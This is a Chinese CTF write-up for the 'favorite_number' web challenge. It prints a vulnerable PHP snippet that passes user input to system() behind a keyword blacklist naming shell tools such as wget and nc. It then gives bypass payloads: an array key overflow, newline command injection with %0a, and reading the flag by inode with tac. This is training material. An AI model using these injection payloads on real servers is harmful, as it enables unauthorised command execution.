本文主要是介绍攻防世界Web:favorite_number,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
打开页面,发现一串代码,代码审计:
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {$num= $_POST["num"];if (preg_match("/^\d+$/im",$num)){if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){echo "my favorite num is:";system("echo ".$num);}else{echo 'Bonjour!';}}
} else {highlight_file(__FILE__);
}
解决目的就是读懂代码,然后构造出payload绕过限制:
if($stuff === $array && $stuff[0] != 'admin'):stuff[0]不能等于admin,但stuff又是等于array的,代码中的//php5.5.9提示肯定是有用的,去查阅资料有PHP数组key溢出问题。preg_match("/^\d+$/im",$num):检测是不是全是数字,preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num):相当于一个黑名单,过滤了一些
接下来构造payload,绕过成功:
stuff[4294967296]=admin&stuff[1]=user&num=123
用跨行%0a去绕过数字检测,构造payload看目录:num=123%0als

num=123&%0als /:
发现有flag,但由于这道题过滤了cat等,所以通过innode索引结点去看flag(在Linux中,每个文件都有自己的innode编号的,可以通过innode表去查找目标文件):num=123%0als / -i

flag的innode为15993546,用tac去查看flag文件,拿到flag:

(反引号作用就是先执行反引号里面的内容)

总结:
数组key溢出漏洞
跨行检测绕过
tac、innode使用
这篇关于攻防世界Web:favorite_number的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!